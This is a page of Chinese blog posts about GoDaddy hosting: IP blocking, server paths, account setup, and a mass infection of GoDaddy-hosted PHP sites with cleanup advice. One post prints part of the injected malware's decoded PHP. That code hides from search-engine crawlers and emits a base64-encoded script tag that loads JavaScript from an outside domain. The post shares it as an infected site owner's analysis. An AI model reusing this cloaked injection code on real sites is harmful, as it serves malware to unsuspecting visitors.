godaddy免费空间分配的ip大多都是被封的

最近使用godaddy的几个这空间，发现一件怪事，我在去年10月分买的空间，其共享IP到现在一直能用，害得我白白浪费了20多美元的独立ip费用，但免费空间分配的ip大多都是被封的，而且反复的换来换去，都是被封的，不知道他们是不是故意的，

新版的godaddy后台如果实现免费空间换IP

godaddy云主机（grid hosting）在服务器中的绝对路径

因为有需要对一个目录加密，看一朋友的说明是在找到绝对路径，按网上的说法，

是这样的

/home/content/1/2/3/ftpname/html

123为你ftpname的前面3个字母，当然ftpname就是你的ftp名，如果你的ftp名为doff的话，

那么绝对路径就应该是：

/home/content/d/o/f/doff/html

Read more »

godaddy 空间被挂马之后怎么处理？

5月13号：有一哥们已经找到了办法了，到下面的地址去看看吧，

http://bbs.idcspy.com/thread-95826-1-1.html

解压后上传到根目录，用浏览器打开，只适用昨天出现的恶意代码，至于什么恶意代码可以查看下我的帖子

如果在执行的过程中出现超时或者500错误，那你只能一个目录一个目录执行

我的几个网站都已清理完毕，插件来源于国外某论坛

如成功清除，会现出如下提示

Site clean up by http://sucuri.net
This script will clean the malware from this attack: http://sucuri.net/malware/entry/MW:MROBH:1

If you need help, contact dd@sucuri.net or visit us at http://sucuri.net/index.php?page=nbi

Malware removed.
Empty lines removed.

Completed.

—— – - – - – ——— – - – - – -

昨天关于临时处理的部分：

如果网站被挂马，首先要清楚是挂在那里，虽然木马都是使用js ,而且一般就放在尾部(footer)，但是挂的方式有很多种，

godadd空间最近发生的事来说，是在php文件中植入了一个加密的php代码，通过这个代码在footer写了一个js，具体请看前一篇，

那要怎么处理？

首先，你应该保护你的会员，可以把域名转向到其它IP，或网址，让中招的网址无法访问，

做为站长，你不能让你的会员因为访问你的网站而中招，

但今次因为其中招的主要是php文件，静态文件并没有中招，我们可以删除php文件，你现在应该做的是把根目录（首页）下的所有能访问到的php文件删除，如index.php thread.php

注意,discuz的配置文件是在根目录的，不要删除配置文件，我就一不小心删除了，到时可能要重新安装新建一下

Read more »

godaddy空间大面积被挂马

下午觉得有点奇怪，我在ubuntu里怎么也出现查杀病毒的信息，看到下面这个图片，我还以为真的是我的电脑有问题（因为同时开着xp虚拟机），后面出现要下载的，想想不对，就看了一下那个网址，

因为我只是打开了firefox上次打开的网页，而且都是我自己的网站，所以还是不太相信，就刷新了一下自己的网站，发现竟然被挂马了，，

一网友的截图

我原以为是phpwind代码的问题，到里面看了一下，发现里面的模板并没有问题，又到首页把index.php换了一下，发现还是没有用，可能是感染了好几个文件

后面想着可能是godaddy空间的问题，到idcspy的godaddy版块一看，发现N多的朋友在说这件事，

真是郁闷啊，

他们是在php的头部加入了一个加密的php代码,解密之后就是这

<?php
if (function_exists(‘ob_start’) && !isset($GLOBALS['mr_no']))
{
  $GLOBALS['mr_no'] = 1;
if (!function_exists(‘mrobh’))
{
if (!function_exists(‘gml’))
{
function gml()
{
if (!stristr($_SERVER["HTTP_USER_AGENT"], "googlebot") && (!stristr
($_SERVER["HTTP_USER_AGENT"], "yahoo")))
{
return base64_decode(
"PHNjcmlwdCBzcmM9Imh0dHA6Ly9pbmRlc2lnbnN0dWRpb2luZm8uY29tL2xzLnBocCI+PC9zY3JpcHQ+");
}
return "";
}
}
if (!function_exists(‘gzdecode’))
{
function gzdecode($R5A9CF1B497502ACA23C8F611A564684C)
{
        $R30B2AB8DC1496D06B230A71D8962AF5D = @ord(@substr
($R5A9CF1B497502ACA23C8F611A564684C, 3, 1));
        $RBE4C4D037E939226F65812885A53DAD9 = 10;
        $RA3D52E52A48936CDE0F5356BB08652F2 = 0;
if ($R30B2AB8DC1496D06B230A71D8962AF5D & 4)
{
          $R63BEDE6B19266D4EFEAD07A4D91E29EB = @unpack(‘v’, substr($R5A9CF
//……..
?>

这个代码会自动在php网页的底部输出一个js

Read more »

便宜的东西总是有这样那样的不方便

空间好了,以为设置只是一件很简单的事,就没叫他们代劳了，godaddy的空间真的不是一般的麻烦，一开始设置空间时,ftp的密码一定要一个大字英文字母，搞了我半天，后面好不容易搞好了，不知道好了没有，我为域名的绑定方便，就想先放上独立ip，因为他们的空间一定要先解析上才能开通，我在想一次性搞好，这样以后就用改了，结果就出现了 Pending Account Change 从昨天到现在，一直是这样，，,明明已经付款的空间,到现在空间还是不能设置,官方说要24个小时,不知道还有没有,现在放在那里干等不能用,搞不明白为什么,明明很简单的一个东西,他们就是要让你等,好像这些用户生来就喜欢乱转服务器,,,其实还是国内的空间好,速度快,

猛然想到一点,其实只要产品好,价格低,质量不会有什么问题,服务其实并不是那么重要,之前我买手机卡被人那样侮辱，明明在线，发过去的问题不闻不问，他们的生意还是好，原因就是便宜， Read more »

就要用美国空间了

刚刚找一家美国主机的代购订了godaddy的一款空间，带12个月的独立ip和一域名，想起来就有点兴奋，做站这么久，其实一直想注册一个美国的空间，之前一直想用lunarpages的，后面听说有限制很死，超过还会关闭主机，限制得死倒是没有关系，但超过就关闭主机是有点恐怖，不知道他们为什么不像国同主机商一样，超过资源就 “拒绝服务”，过会就重新打开，看来美国的技术并不一定会比中国先进，而且他们现在的独立ip也太贵了， Read more »